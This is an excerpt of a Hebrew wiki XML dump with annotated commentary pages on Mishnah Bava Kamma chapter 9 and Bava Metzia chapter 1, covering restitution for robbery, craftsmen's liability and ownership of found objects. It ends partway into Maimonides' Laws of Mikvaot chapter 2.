      <text bytes="13308" sha1="7ksjew2r0ikuzuhh2rcysv65wv46y4z" xml:space="preserve">&lt;noinclude&gt;{{הבהרת מרחב ביאור}}&lt;/noinclude&gt;
{{ביאור:תוכן למשנה בבא קמא|ט}}
{{הע-שמאל|הפעלים החוזרים בפרק הם &quot;גזל&quot; ו&quot;נתן&quot;. יתכן להבין שהנתינה מכפרת על הגזילה.}}
==גזלנים ונותנים==
===חטיבה I: גזילה והחזרתה===
{{עוגן|משנה א}}&lt;קטע התחלה=א/&gt;
(א) הגוזל עצים, ועשאן כלים; צמר, ועשאן בגדים - משלם כשעת הגזילה.
{{הע-שמאל|במקרים אלו קנה את הגזילה בשינוי ולכן מחזיר רק כסף.}}
גזל פרה מעוברת, וילדה; רחל טעונה, וגזזה - 

:משלם דמי פרה העומדת לילד, דמי רחל העומדת ליגזז.

גזל פרה, ונתעברה אצלו וילדה; רחל, ונטענה אצלו וגזזה - משלם כשעת הגזילה.

:זה הכלל: כל הגזלנים משלמין כשעת הגזילה:
&lt;קטע סוף=א/&gt;

{{עוגן|משנה ב}}&lt;קטע התחלה=ב/&gt;
{{הע-שמאל|במשנה א הועלה ערך הבהמה, ולכן אין הגזלן מחזיר אותה. כאן הוא ירד, ולכן שוב אינו מחזיר אותה, אלא את ערכה. 

לדעת ר' מאיר עבד אינו ניתן להחלפה בכסף.

במקרים שבסוף המשנה הפגם הוא במישור ההלכתי או הסמלי, והגזילה נשארה מבחינה פיזית כמו שהיתה, למרות שכעת אינה ראויה לשימוש. לכן יכול להחזיר לו אותה כמות שהיא.

וראו [[ביאור:משנה גיטין פרק ה#משנה ד|גיטין ה, ד,]] ודעת ר' עקיבא [[ביאור:תוספתא/בבא קמא/ה#ב|בתוספתא ה, ב,]] שגם שואל יכול לומר לו הרי שלך לפניך.

אבל לפי [[ביאור:תוספתא/בבא קמא/י#ב|תוספתא י, ב,]] '''הגנב''' תמיד משלם כשעת הגניבה, ואינו יכול לומר הרי שלך לפניך.}}
(ב) גזל בהמה, והזקינה; עבדים, והזקינו - משלם כשעת הגזילה.

:רבי מאיר אומר: בעבדים אומר לו &quot;הרי שלך לפניך&quot;.

גזל מטבע, ונסדק; פירות, והרקיבו; יין, והחמיץ - {{ב|משלם כשעת הגזילה|כיוון שהשתנתה צורתם אינו מחזיר אותם כמו שהם.}}.

:מטבע, ונפסל; תרומה, ונטמאת; חמץ, ועבר עליו הפסח 

::בהמה, {{ב|ונעבדה בה עברה|ויש להמית אותה}}; או שנפסלה מעל גבי המזבח, או שהיתה יוצאת ליסקל 

אומר לו &quot;הרי שלך לפניך&quot;:
&lt;קטע סוף=ב/&gt;

===חטיבה II: אחריות מקצועית – גזל פיקדון===
{{עוגן|משנה ג}}&lt;קטע התחלה=ג/&gt;
(ג) נתן לאומנין לתקן, וקלקלו - חייבין לשלם.
{{הע-שמאל|הגזלן והאומן דומים בכך ששניהם משתמשים ברכוש הזולת, ומשנים אותו. מסתבר שכדי לעבור על גזילה לא צריך בהכרח לנהוג באלימות.

וראו גם השוואות נוספות בין גזלן לאומן [[ביאור:משנה בבא קמא פרק י|לקמן פרק י.]]

לגבי סכום התשלום ראו [[ביאור:תוספתא/בבא קמא/י#ד|תוספתא י, ד.]]

אם אין הוכחה שהבנאי אחראי לנזק - הוא פטור, כי המוציא מחבירו עליו הראיה, וראו גם [[ביאור:משנה בבא קמא פרק ג#משנה יא|לעיל ג, יא.]] 

לשון &quot;מחמת המכה&quot; - השוו [[ביאור:משנה בבא קמא פרק ח|לעיל ח, א:]] אחריות הבנאי הוא כמו של חובל.}}
נתן לחרש {{ב|שידה תיבה ומגדל|סוגי ארונות}} לתקן, וקלקל - חייב לשלם.

והבנאי, שקבל עליו לסתור את הכתל, ושבר את האבנים או שהזיק - חייב לשלם.

היה סותר מצד זה ונפל מצד אחר - פטור.

:ואם מחמת המכה - חייב:
&lt;קטע סוף=ג/&gt;

{{עוגן|משנה ד}}&lt;קטע התחלה=ד/&gt;
(ד) הנותן צמר לצבע, והקדיחתו יורה - נותן לו דמי צמרו.
{{הע-שמאל|אם הצבע אינו מוצא חן בעיני הלקוח, אין הלקוח משלם את השכר שהסכימו ביניהם אלא את עלות החומרים או את עליית הערך של הצמר, ומקבל את הצמר.

אם ברור שהצבע לא עמד בהסכם, לדעת ר' מאיר עליו לקנות את הצמר מהלקוח, ולדעת ר' יהודה הלקוח משלם כמו במקרה הקודם, וראו [[ביאור:משנה בבא מציעא פרק ו#משנה ב|ב&quot;מ ו, ב.]]

למקרה שיש ביניהם ויכוח מה היה ההסכם ראו [[ביאור:תוספתא/בבא מציעא/ז#ט|תוספתא ב&quot;מ ז, ט.]]}}
:צבעו {{ב|כאור:|מכוער, אבל צבע,}} אם השבח יותר על היציאה - נותן לו את היציאה, 

::ואם היציאה יתרה על השבח - נותן לו את השבח.

:לצבוע לו אדום - וצבעו שחור, שחור - וצבעו אדום 

::רבי מאיר אומר: נותן לו דמי צמרו.

::רבי יהודה אומר: אם השבח יתר על היציאה - נותן לו את היציאה; 

::{{ב|ואם היציאה יתרה על השבח - נותן לו את השבח|כמו כש&quot;צבעו כאור&quot;.}}:
&lt;קטע סוף=ד/&gt;

===חטיבה III: גזלן שנשבע לשקר וכפרתו===
{{עוגן|משנה ה}}&lt;קטע התחלה=ה/&gt;
{{הע-שמאל|ראו [[ביאור:ספרי במדבר/נשא/ה#פיסקה ג|ספרי במדבר ג,]] שם מתירים להחזיר לשלוחו, ליורשו, לשליח בית דין ולבעל חובו של הנגזל. [[ביאור:תוספתא/בבא קמא/י#ה|בתוספתא (י, ה)]] מבארים שהגזלן אינו יכול לשלוח שליח (ואפילו לא בבית דין), אבל הנגזל יכול. בתוספתא שם רבי אלעזר ברבי צדוק קובע כי אם הוצאות הדרך ל&quot;מדי&quot; מרובות על שווי הקרן, הגזלן אינו חייב ללכת אחרי הנגזל, אלא יכול לשלם את הקרן והחומש בבית הדין ולהביא את קורבנו}}
(ה) הגוזל את חברו שווה פרוטה {{ב|ונשבע לו|לשקר שלא גזל, וחזר בתשובה}} - יוליכנו אחריו אפילו למדי.

:לא יתן - לא לבנו ולא לשלוחו, אבל {{ב|נותן לשליח בית דין|מפני תקנת השבים}}.

:ואם מת, יחזיר ליורשיו:
&lt;קטע סוף=ה/&gt;

{{עוגן|משנה ו}}&lt;קטע התחלה=ו/&gt;
{{הע-שמאל|במקרה שמת הגוזל או הנגזל יש שינויים בדיני החומש והאשם, ראו [[ביאור:תוספתא/בבא קמא/י#ו|תוספתא י, ו.]]}}
(ו) נתן לו את הקרן, ולא נתן לו את החומש, 

:מחל לו על הקרן, ולא מחל לו על החומש, 

:מחל לו על זה ועל זה, חוץ מפחות משווה פרוטה בקרן, 

::{{ב|אינו צריך לילך אחריו|הקרן אינה גזולה, ועל החומש אינו צריך ללכת אחריו, אלא הנגזל יבוא אליו.}}.

נתן לו את החומש, ולא נתן לו את הקרן, 

:מחל לו על החומש, ולא מחל לו על הקרן; מחל לו על זה ועל זה, חוץ משווה פרוטה בקרן, 

::{{ב|צריך לילך אחריו|כי לפחות פרוטה מהקרן עדיין לא הוחזרה.}}:
&lt;קטע סוף=ו/&gt;

{{עוגן|משנה ז}}&lt;קטע התחלה=ז/&gt;
(ז) נתן לו את הקרן, ו{{ב|נשבע לו על החומש|נשבע לשקר שהחזיר לו את החומש, ובכך החומש הופך לגזילה חדשה.}}

:הרי זה משלם חומש על חומש - עד שיתמעט הקרן, פחות משווה פרוטה.

:{{ב|וכן|חייב חומש}} {{ב|בפיקדון,|שומר שנשבע לשקר וחזר בו}} 

::שנאמר &quot;בפקדון או בתשומת יד או בגזל או עשק את עמיתו או מצא אבדה וכחש בה ונשבע על שקר&quot; ([[ויקרא ה כא]]), 
{{הע-שמאל|החומש הוא כפרה, ולכן מוטל רק על השב מרצונו, ולא מפני עדות העדים. וראו [[ביאור:משנה שבועות פרק ח#משנה ג|שבועות ח ג.]]

לעומת זאת הכפל המוטל על הגנב הוא קנס, ולכן המודה בו פטור, ורק אם היו עדים חייב בו. וראו דוגמא דומה בעניין תשלומי ארבעה וחמישה [[ביאור:תוספתא/בבא קמא/ח#ג|בתוספתא ח, ג.]]

הדוגמאות במשנה זו ובמשנה הבאה מחדדות את ההבדלים הללו.}}
:הרי זה משלם קרן וחומש ואשם.

&quot;היכן פקדוני&quot;? אמר לו &quot;אבד&quot;.

:&quot;משביעך אני&quot;, ואמר &quot;אמן&quot;, 

:והעדים מעידים אותו {{ב|שאכלו|וגרם לאבדנו}} - משלם קרן. הודה מעצמו - משלם קרן וחומש ואשם:
&lt;קטע סוף=ז/&gt;

{{עוגן|משנה ח}}&lt;קטע התחלה=ח/&gt; 
{{הע-שמאל|אם השומר טען שנגנב הפיקדון, והעידו נגדו - חייב כפל ואינו משלם חומש ואשם, כי אין לו כפרה. 

אבל אם טען שאבד הפיקדון (משנה ז) - הרי הוא כגזלן, שאם לא הודה משלם רק קרן.}}
(ח) &quot;היכן פקדוני&quot;, אמר לו &quot;נגנב&quot;.

:&quot;משביעך אני&quot;, ואמר &quot;אמן&quot;, 

:והעדים מעידים '''אותו''' שגנבו - משלם תשלומי כפל. 

:{{ב|הודה מעצמו|פטור מכפל כי הודה}} - משלם קרן וחומש ואשם:
&lt;קטע סוף=ח/&gt;

{{עוגן|משנה ט}}&lt;קטע התחלה=ט/&gt;
{{הע-שמאל|גזילה בתוך המשפחה יוצרת מתחים רבים, ולכן מאפשרים לגזלן להחזיר את חלקו אפילו מהלוואה הנופלת על הירושה עצמה. כך הדין גם במשנה י, שבה האב מונע מהבן להשתתף בירושה.}}
(ט) הגוזל את אביו ונשבע לו, ומת - הרי זה משלם קרן וחומש {{ב|לבניו או לאחיו|ליורשי האב חוץ ממנו, ורק אחר כך מקבל את חלקו בירושה.}}.

:ואם אינו רוצה, או שאין לו - {{ב|לווה|את סכום הגזילה והחומש מאחרים}} ובעלי חוב {{ב|באים|לאחר שיקבל חלקו בירושה.}} ונפרעים:
&lt;קטע סוף=ט/&gt;

{{עוגן|משנה י}}&lt;קטע התחלה=י/&gt;
{{הע-שמאל|אפילו כשאסור לבן ליהנות מהירושה, הוא יכול לתת את חלקו בה לבעלי חובו.}}
(י) האומר לבנו &quot;קונם אי אתה נהנה משלי&quot;, אם מת - יירשנו.

:&quot;...בחייו ובמותו&quot;, אם מת - לא יירשנו, ויתן לבניו או לאחיו.

:ואם אין לו - לווה, ובעלי חוב באין ונפרעים:
&lt;קטע סוף=י/&gt;

{{עוגן|משנה יא}}&lt;קטע התחלה=יא/&gt;
{{הע-שמאל|מות הנגזל ומות הגזלן.

אם מת - דין האשם כדין כל אשם שמתו בעליו, ראו [[ביאור: משנה תמורה פרק ג#משנה ג|תמורה ג, ג.]]}}
(יא) הגוזל את {{ב|הגר|שאין לו יורשים}} ונשבע לו, {{ב|ומת|הגר}} - הרי זה משלם קרן וחומש לכוהנים, ואשם למזבח, 

:שנאמר &quot;ואם אין לאיש גואל להשיב האשם אליו, האשם המושב לה' - לכהן, 

:מלבד איל הכפורים אשר יכפר בו עליו&quot; ([[במדבר ה ח]]).

היה מעלה את הכסף ואת האשם, {{ב|ומת|הגזלן, ולכן אין צורך בכפרה.}} - 

:הכסף ינתן לבניו, והאשם ירעה עד שיסתאב, וימכר ויפלו דמיו לנדבה:
&lt;קטע סוף=יא/&gt;

{{עוגן|משנה יב}}&lt;קטע התחלה=יב/&gt;
(יב) נתן הכסף לאנשי משמר, {{ב|ומת|הגזלן, לפני שהקריבו את האשם}} - אין היורשים יכולין להוציא מידם, 
{{הע-שמאל|לעניין משמרות הכהונה ראו [[דברי הימים א כד ז]].}}
:שנאמר &quot;איש אשר יתן לכהן - לו יהיה&quot; ([[במדבר ה י]]).

נתן הכסף {{ב|ליהויריב|המשמר הראשון}} ואשם {{ב|לידעיה|המשמר השני, שעובד בשבוע שאחרי יהויריב}} - יצא, 

:אשם ליהויריב וכסף לידעיה: אם קיים האשם - יקריבוהו בני ידעיה, ואם לאו - יחזור ויביא אשם אחר.

::{{ב|שהמביא גזילו עד שלא הביא אשמו|מחזיר את הכסף לפני הקרבת האשם}} - יצא, הביא אשמו עד שלא הביא גזילו - לא יצא.

נתן את הקרן ולא נתן את החומש - אין החומש {{ב|מעכב|מלהקריב את האשם, אבל חייב לתת גם אותו.}}:
&lt;קטע סוף=יב/&gt;
{{כותרת תחתונה משנה מבוארת|בבא קמא|ט}}</text>
      <sha1>7ksjew2r0ikuzuhh2rcysv65wv46y4z</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:משנה בבא מציעא פרק א</title>
    <ns>106</ns>
    <id>172178</id>
    <revision>
      <id>3020760</id>
      <parentid>3020201</parentid>
      <timestamp>2026-06-19T10:14:42Z</timestamp>
      <contributor>
        <username>נעם תומר</username>
        <id>44571</id>
      </contributor>
      <origin>3020760</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="17008" sha1="7ws3us4wy69monutnd73l8it675wz6d" xml:space="preserve">&lt;noinclude&gt;{{הבהרת מרחב ביאור}}&lt;/noinclude&gt;
{{ביאור:תוכן למשנה בבא מציעא|א}}
[[ביאור:משנה מסכת בבא מציעא|מבוא למסכת בבא מציעא ומבנה המסכת]]
{{מגירה|מבוא למסכת בבא מציעא|כל פרקי המסכת עוסקים בנגזרות של '''נושא השמירה וההלוואה''': המסכת כמעט כולה עוסקת בדיניהם של מה או מי ששייכים לאדם אחד - ונמצאים ברשותו של אחר.
 
היחסים בין פרק א לפרק ב ובין פרק ו לפרק ז מייצגים הבחנה בין הדין הרגיל, המכונה &quot;דין מדינה&quot; לבין המצווה המיוחדת ליהודים. בפרק א נדון דין המציאה מנקודת מבט של דיני המדינה, ובפרק ב מנקודת המבט של מצוות השבת אבידה. כך גם בפרק ו נדונים דיני הפועל מנקודת מבט של דין מדינה ובפרק ז ממצות &quot;ואכלת כנפשך שבעך&quot; או מדיני השומרים, אך במשנה ח בפרק ז מופיעים שוב דיני מדינה.
 
נראה שמגמת המשנה היא לצמצם את דיני המצוות מהתורה, ולהדגיש את העליונות של דרך ארץ על פני התורה. מגמה כזאת ניכרה כבר במסכת בבא קמא, בעניין תשלומי ארבעה וחמישה, והיא ניכרת גם בדיני הריבית (פרק ה) שבהם הקילו לסוחרים כמנהג המדינה. בסוף פרק ז מופיעה גם לגבי השומרים האפשרות להתנות ולשנות בכך את דיניהם. בכך נוספת גם מצוות השומרים לרשימת המצוות שחז&quot;ל אפשרו לעקוף.
 
האם הניטרול של המצוות בדיני ממונות הוא בלית ברירה, או שזו דרכם של חז&quot;ל להביע ביקורת על פרשנות מילולית של דיני התורה?

לאחר הדיון בפרקים ו-ז, השם דגש על חובותיהם וזכויותיהם של העובדים - עוסקת המסכת בפרקים ח-ט בזכויותיו ובעיקר בחובותיו של בעל הבית כלפי הנכסים השייכים לו. בפרק ח עוסקים במפקיד, המוכר או המשכיר, ובפרק ט - בבעל השדה. בסוף פרק ט חוזרת המשנה לסכם את חובות בעל הממון כלפי החלשים בחברה (תשלום שכר שכיר ודיני משכון), כסיכום של ארבעת הפרקים האחרונים ובהשראת [[דברים כד]]. המשנה אינה מסתפקת בנושא ההלכתי של זכויות וחובות, אלא מזכירה לנו שמדובר בבני אדם, הנמצאים במסגרת חברתית ואינם שוים זה לזה. בעניין זה נראה שהמשנה מאמצת את השקפת העולם של התורה שבכתב, המדגישה את אי הסימטריה בחברה - בניגוד למגמתה בתחילת המסכת.
 
לסיכום, מבנה המסכת:
 
'''פרקים א-ב''' עוסקים בדיני חפץ שנמצא, שאין אנו יודעים מי בעליו. בחלוקה בין הפרקים הללו עסקתי לעיל.
 
מפרק ג ואילך מדובר על זהות ברורה של הבעלים, שאינם מחזיקים בחפץ. '''פרק ג''' פותח בדיני השומרים, כלומר בדיני מי שמחזיקים בחפצים שאינם שלהם.
 
'''פרק ד''' עוסק בתהליך העברת הבעלות, ומשהה אותו במקרים של אונאה. יש בפרק רמזים לדיני מציאה, בגלל חוסר הבהירות שחל אפילו כאן סביב שאלת הבעלות.
 
'''פרק ה''' עוסק בדיני הלוואות, ובאיסורי נשך וריבית - הן בכסף, הן בסחורות. הפרק מבחין בין הלוואה אזרחית לבין הלוואה עסקית.
 
'''פרקים ו-ז''' עוסקים ביחסי בעל הבית והאומנים העובדים אצלו, ובחובותיהם ההדדיות - שוב, לעיל הזכרתי את היחסים בין הפרקים.
 
'''פרק ח''' עוסק באחריות ובזכויות של בעל הבית כלפי החפץ המושאל, הנמכר או המושכר.

'''פרק ט''' עוסק באחריות ובזכויות של בעל השדה כלפי שדהו שנמסר לחוכר, לאריס או לשכיר, וכן באחריותו כלפי האנשים הללו עצמם. בסוף הפרק מופיעים, כאמור, דיני המשכון, המבטאים גם הם את היחסים בין בעל הממון לבין הלווים העניים.
 
'''פרק י''' עוסק בשאלה של היחסים בין בעל הבית לבין בעל העליה. בכך מעבירה המסכת את הדיון לזו שאחריה - בבא בתרא - העוסקת ברכוש האדם הפרטי - אך עדיין הדגש כאן הוא על מקרים שבהם הגיע רכושו של אחד למקומו של חברו או לרשות הרבים. נראה שבפרק זה יש רמזים ליחסים בין בני אדם לבין שוכן המרומים - נושא המרומז כאמור בפרקי המסכת עצמם.}}
{{הע-שמאל|בהמשך [[ביאור:משנה בבא קמא פרק י#משנה ב|לנאמר בב&quot;ק י, ב,]] על הדרכים שבהם יכול אדם לזכות בממון חברו שהופקר, עוסקים שני הפרקים הראשונים במסכת בדיני המציאה.

בפרק זה מתעלמת המשנה מהחובה להכריז על המציאה ולהחזירה, ונראה שההנחה היא שהמציאה היא רכוש המוצא, בדומה לדין הרומי. המצווה הנ&quot;ל תופיע רק [[ביאור:משנה בבא מציעא פרק ב|בפרק ב.]]}}
==חפצים מופקרים ורכישתם==
===חטיבה I: ויכוחים על בעלות===
{{עוגן|משנה א}}&lt;קטע התחלה=א/&gt;
(א) שנים אוחזין בטלית, זה אומר &quot;אני מצאתיה&quot; וזה אומר &quot;אני מצאתיה&quot;, 
{{הע-שמאל|הלשון &quot;זה אומר... וזה אומר&quot; דומה ללשון הזונות במשפט שלמה, ראו [[מלכים א ג כג]]. גם פסק הדין &quot;יחלוקו&quot; דומה לפסק של שלמה. שלמה השתמש בפסק הדין כדי לברר את האמת. גם המשנה משתמשת בפסק &quot;יחלוקו&quot; כדי לגרום לשני הטוענים להפוך לשותפים בטלית (שהרי לא כדאי לאף אחד לחלוק אותה פיזית), והשלום בין שניהם מצדיק אפילו שבועה בשם ה'.

הדרך הפשוטה להסביר את טענותיהם היא לאחד אותן: זה אומר: אני מצאתיה ולפיכך היא שלי, וזה אומר: אני מצאתיה ולפיכך היא שלי. שניהם מחזיקים בטלית, כנראה משעה שנמצאה עד שהם מגיעים לבית הדין.

הבבלי ([[בבא מציעא ב א|ב ע&quot;א]]) מוסיף גם טענות נוספות הדומות לטענת המציאה - בקניה: שכל אחד טוען שהמוכר נתרצה לו. 

נוסח השבועה נועד שלא להשביע אותם שבועה שהיא בודאי שקר, למרות שהתוצאה אינה סבירה. וראו הרחבה והכללה [[ביאור:תוספתא/בבא מציעא/א|בתוספתא א, א.]] כפי שאומר רוזן צבי (בין משנה למדרש, עמ' 119) זה מהמקומות בהם אין כל ספק שהמשנה מודעת לכלל אך אינה מנסחת אותו, והמקורות המאוחרים יותר רק חושפים את מה שקיים כבר באופן סמוי במשנה}}
:זה אומר &quot;כולה שלי&quot; וזה אומר &quot;כולה שלי&quot; - 

::זה ישבע שאין לו בה פחות מחציה, וזה ישבע שאין לו בה פחות מחציה, ויחלוקו.

:זה אומר &quot;כולה שלי&quot; וזה אומר &quot;חציה שלי&quot;,

::האומר &quot;כולה שלי&quot; ישבע, שאין לו בה פחות משלושה {{ב|חלקים|רבעים}}, 

::והאומר &quot;חציה שלי&quot; ישבע שאין לו בה פחות מרביע.

::זה נוטל שלשה חלקים, וזה נוטל רביע:
&lt;קטע סוף=א/&gt;

{{עוגן|משנה ב}}&lt;קטע התחלה=ב/&gt;
{{הע-שמאל|כאן אין שניהם מחזיקים בבהמה ממש: אחד יושב עליה ואחד מחזיק ברצועות. נראה ששניהם היו בעבר בשיתוף פעולה; 

ראו [[ביאור:תוספתא/בבא מציעא/א#ב|תוספתא א, ב,]] שר' יהודה מעניק עדיפות למנהיג הבהמה ולא לרוכב.

השבועה מיועדת לסילוק הספק, ואם אין ספק אין בה צורך.

לגבי דרכי החלוקה ראו [[ביאור:משנה בבא בתרא פרק א#משנה ו|ב&quot;ב א, ו.]]}}
(ב) היו שנים רוכבין על גבי בהמה, או שהיה אחד רוכב ואחד מנהיג, 

:זה אומר {{ב|&quot;כולה|הבהמה}} שלי&quot;, וזה אומר &quot;כולה שלי&quot;, 

::זה ישבע שאין לו בה פחות מחציה, וזה ישבע שאין לו בה פחות מחציה - ויחלוקו.

:בזמן שהם מודים או שיש להן עדים - חולקים בלא שבועה:
&lt;קטע סוף=ב/&gt;

===חטיבה II: כיצד זוכים במציאה?===
{{עוגן|משנה ג}}&lt;קטע התחלה=ג/&gt;
{{הע-שמאל|אם חברו לא התכוון לזכות במציאה כשנטל אותה - אין הכוונה נעשית רטרואקטיבית.

תיאור דומה ביחס לקידושי אשה ראו [[ביאור:משנה קידושין פרק ג|בקידושין ג, א.]] אמנם אשה אינה תמיד מציאה, אבל לעיתים כן.}}
(ג) היה רוכב על גבי בהמה וראה את המציאה, ואמר לחברו &quot;תנה לי&quot;, 

:נטלה, ואמר &quot;'''אני''' זכיתי בה&quot; - זכה בה.

:אם {{ב|משנתנה לו|אחרי שנתנה לו}} אמר &quot;אני זכיתי בה תחילה&quot; - {{ב|לא אמר כלום|שכבר זכה בה הרוכב, ואין כוונה בדיעבד.}}
&lt;קטע סוף=ג/&gt;

{{עוגן|משנה ד}}&lt;קטע התחלה=ד/&gt;
{{הע-שמאל|השוו [[ביאור:משנה פאה פרק ד#משנה ג|פאה ד ג:]] הרצון לזכות אינו מזכה. יש עדיפות למחזיק במציאה בידיו על פני מי שקפץ עליה. מתברר שאין בעל הבית חייב לאחוז את המציאה או את הצבי השבור והגוזלות, אלא יכול להסתפק בכוונה לזכות בהם. הזכות היא שילוב של רצון, זכות על הבית או השדה, וההשתמרות של המציאה בתוכם. והשוו גם [[ביאור:תוספתא/בבא מציעא/א#ג|תוספתא א, ג.]]}}
(ד) ראה את המציאה ונפל עליה, ובא אחר והחזיק בה - זה שהחזיק בה זכה בה.

ראה {{ב|אותן|את הציידים}} רצין אחר מציאה, אחר צבי שבור, אחר גוזלות שלא פרחו, ואמר &quot;זכתה לי שדי&quot; - זכתה לו.

היה צבי רץ כדרכו, או שהיו גוזלות מפריחין, ואמר &quot;זכתה לי שדי&quot;, {{ב|לא אמר כלום|כי הצבי והגוזלות אינם נשארים בשדה שלו, ורק בזכות הציידים נתפסו.}}
&lt;קטע סוף=ד/&gt;

{{עוגן|משנה ה}}&lt;קטע התחלה=ה/&gt;
{{הע-שמאל|יחסי הממון בין איש לאשתו דומים ליחסיו עם עבד כנעני ועם שדהו (משנה ד), שכולם כידו הארוכה. ואילו עבד עברי הוא בעל רכוש משלו.}}
(ה) מציאת בנו ובתו הקטנים, מציאת עבדו ושפחתו הכנענים, מציאת אשתו - הרי אלו שלו.

:מציאת בנו ובתו הגדולים, מציאת עבדו ושפחתו העברים 

::מציאת אשתו שגרשה - אף על פי שלא נתן כתובתה

:::הרי אלו שלהן:
&lt;קטע סוף=ה/&gt;

===חטיבה III: מציאה העלולה להזיק לאחר===
{{עוגן|משנה ו}}&lt;קטע התחלה=ו/&gt;
{{הע-שמאל|אין למוצא רשות להשפיע על הסטטוס של שדה של אחר. לכן לא יחזיר כי עלול לגרום למימוש האחריות ולטריפת השדה מידי בעליו.

המחלוקת היא על דיני שטרות, ולפנינו אחת מנגזרותיה.}}
(ו) מצא שטרי חוב, אם {{ב|יש בהן אחריות נכסים|כתוב בשטר שנכסים מסויימים של הלווה משועבדים להלואה}} - לא יחזיר, {{ב|שבית דין נפרעין מהן,|אפילו אם מכרו את השדות, ועלולים להוציא מיד הלקוחות}} 

:אין בהן אחריות נכסים - יחזיר, {{ב|שאין בית דין נפרעין מהן,|אלא רק מנכסים שבידי הלווה}} דברי רבי מאיר.

:וחכמים אומרים: בין כך ובין כך לא יחזיר, מפני שבית דין נפרעין מהן:
&lt;קטע סוף=ו/&gt;

{{עוגן|משנה ז}}&lt;קטע התחלה=ז/&gt;
{{הע-שמאל|[[ביאור:תוספתא/בבא מציעא/א#ה|בתוספתא א, ה,]] מוסיפים שאם הבעל או הנותן מודה בכך יכול לתת את הגיטים ואת שטר המתנה לנמעניהם.

עצם קיומו של מסמך כתוב אינו תמיד מלמד על המציאות.}}
(ז) מצא גיטי נשים, ושחרורי עבדים, {{ב|דיתיקי,|צוואה}} מתנה {{ב|ושוברים|קבלה}} - הרי זה לא יחזיר, 

:שאני אומר: כתובים היו, ונמלך עליהם שלא ליתנם:
&lt;קטע סוף=ז/&gt;

{{עוגן|משנה ח}}&lt;קטע התחלה=ח/&gt; 
{{הע-שמאל|שטרות ואגרות אלו נכתבו על ידי בית הדין כאישורים לעניין שבורר שם. אם נכתבו - ניתנו בודאי, בניגוד למסמכים שבמשנה ז.

החפיסה והדלוסקמא מהווים סימן של המאבד, ואם נתן את הסימן מחזיר לו גם שטרי חוב וכדומה. להגדרת החפיסה, האגודה והתכריך ראו [[ביאור:תוספתא/בבא מציעא/א#ח|תוספתא א, ח.]] 

לעניין המספר של שלושה שטרות ראו [[ביאור:משנה בבא מציעא פרק ב#משנה ב|להלן ב, ב.]]   

המוצא צריך לחפש את המשותף לשטרות, כדי לדעת מי איבד אותם.

לעניין אליהו ראו  גם [[ביאור:משנה עדויות פרק ח#משנה ז|בסוף עדויות.]] קדרי (עד שיבוא אליהו, עמ' 38) שיער כי אפשר שציורו של אליהו כמי שיפתור ספקות הלכתיים הוא גלגול של הציפייה לבואו של ״מורה צדק״ בכתות מדבר יהודה. את האמור בסוף עדויות ('אין אליהו בא לטמא ולטהר') פירש כנוגע באופן קונקרטי בעיסוק בענייני יוחסין ולא כטענה כללית על סמכותו בענייני הלכה (שם, עמ' 71-73) ומביא ראיה לתפיסה זו מהביטוי 'עד שיבוא אליהו' בספרות התנאים לפיו אליהו אכן יהיה מעורב בבירור עניינים הלכתיים. לדעתו אין מדובר בביטוי ספרותי בלבד (כדעת ספראי), אלא בציפייה אמיתית לבירור הספקות. אולם, כפי שציין סבתו (יבנה וחכמיה, עמ' 122) תפקידו במקרים אלה לברר מציאות מסופקת ולא להכריע הלכה מסופקת- ונראה שבדברי ר' יהושע בסוף עדויות אכן מובעת התפיסה המנשלת את הגורמים העל־אנושיים מסמכותם ההלכתית}}
(ח) מצא אגרות שום ואגרות מזון, שטרי חליצה ומאונין, ושטרי ברורין, וכל מעשה בית דין 

:הרי זה יחזיר.

מצא {{ב|בחפיסה או בדלוסקמא|בשקית או בתיק}}, תכריך של שטרות, או אגודה של שטרות - הרי זה יחזיר.

וכמה &quot;אגודה של שטרות&quot;? - שלושה, קשורין זה בזה.

:רבן שמעון בן גמליאל אומר: אחד הלווה משלושה - יחזיר ללווה, 

::שלושה הלווין מאחד - יחזיר למלווה.

מצא שטר בין {{ב|שטרותיו|שלו}} ואינו יודע מה טיבו - יהא מונח עד שיבוא אליהו.

:אם יש עמהן {{ב|סמפונות|אישור על פרעון חלקי של  שטר אחד מבין כמה}} - יעשה מה שבסמפונות:
&lt;קטע סוף=ח/&gt;
{{כותרת תחתונה משנה מבוארת|בבא מציעא|א}}</text>
      <sha1>7ws3us4wy69monutnd73l8it675wz6d</sha1>
    </revision>
  </page>
  <page>
    <title>רמב&quot;ם הלכות מקואות ב</title>
    <ns>0</ns>
    <id>186954</id>
    <revision>
      <id>3020763</id>
      <parentid>922524</parentid>
      <timestamp>2026-06-19T10:18:29Z</timestamp>
      <contributor>
        <username>~2026-24789-84</username>
        <id>45364</id>
      </contributor>
      <comment>/* הלכה ב */ תיקון שורה שקפצה</comment>
      <origin>3020763</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11055" sha1="nfju6kcmo77mkj38au1nqgmu848qhme" xml:space="preserve">{{רמב&quot;ם פרק|ספר טהרה|הלכות מקואות|פרק שני|הלכות מקואות א|הלכות מקואות ג|a802|10|63|2|[[#דפוס|דפוס וורשא-ווילנא]] · [[#הגהה|הגהה על פי כתבי-יד]]}}
==דפוס==
===[[רמב&quot;ם הלכות מקואות ב א|הלכה א]]===

&lt;קטע התחלה=א דפוס/&gt;אלו חוצצין באדם: 

לפלוף שחוץ לעין וגלד שחוץ למכה והדם יבש שעל גבי המכה והרטייה שעליה וגלדי צואה שעל בשרו ובצק או טיט שתחת הציפורן והמלמולין שעל הגוף וטיט היון וטיט היוצרים וטיט של דרכים הנמצא שם תמיד אפילו בימות החמה כל אלו חוצצין ושאר כל הטיט כשהוא לח אינו חוצץ שהרי נמחה במים וכשהוא יבש חוצץ:&lt;קטע סוף=א דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ב|הלכה ב]]===

&lt;קטע התחלה=ב דפוס/&gt;הדבש והדיו והחלב והדם ושרף התות והתאנה והשקמה והחרוב יבשין חוצצין לחין אינן חוצצין ושאר כל השרפין בין לחין בין יבשין חוצצין ודם שנסרך בבשר אפילו לח חוצץ האבר והבשר המדולדלים חוצצין:&lt;קטע סוף=ב דפוס/&gt;

===[[רמב&quot;ם הלכות מקואות ב ג|הלכה ג]]===

